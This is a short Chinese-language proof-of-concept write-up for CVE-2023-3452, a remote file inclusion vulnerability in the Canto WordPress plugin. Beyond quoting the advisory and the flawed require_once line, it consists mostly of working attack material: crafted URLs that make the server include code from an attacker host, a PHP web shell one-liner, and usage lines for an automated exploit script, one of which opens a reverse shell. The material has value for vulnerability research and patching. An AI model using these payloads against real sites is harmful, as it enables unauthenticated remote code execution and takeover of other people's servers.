这里我们解释 Canto WordPress 插件最新 RFI(远程文件包含)漏洞的概念验证,并开发了一个利用工具来自动化执行命令。
“Canto WordPress 插件在版本 3.0.4 及之前的版本中,存在通过 'wp_abspath' 参数导致的远程文件包含漏洞。这使得未认证的攻击者能够在服务器上包含并执行任意远程代码,前提是 allow_url_include 已启用。本地文件包含也是可能的,但不太实用,因为它要求攻击者能够通过 FTP 或其他方式将恶意 PHP 文件上传到 Web 服务器可读的目录中。”(https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
该利用工具利用了 wp_abspath 参数中的一个 bug,可以在以下代码行中看到 includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
要利用此漏洞,还需要在 PHP 配置中启用 allow_url_include=On 参数。
可以使用此参数向我们的 Web 服务器发送请求,从而使 PHP 代码被解释。例如,如果我们发送以下请求,可以检查我们的服务器是否收到了请求:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

我们看到服务器调用了 /wp-admin/admin.php 文件,因此如果我们创建该目录并将恶意 PHP 代码添加到 admin.php 文件中,易受攻击的服务器会下载并正确执行它。
例如,如果我们在 admin.php 文件中写入一个 PHP 网页后门 <?php system($_GET['cmd']); ?>,就可以远程执行代码。
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

所有这些已经在 Python 利用工具 CVE-2023-3452.py 中自动化完成。
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
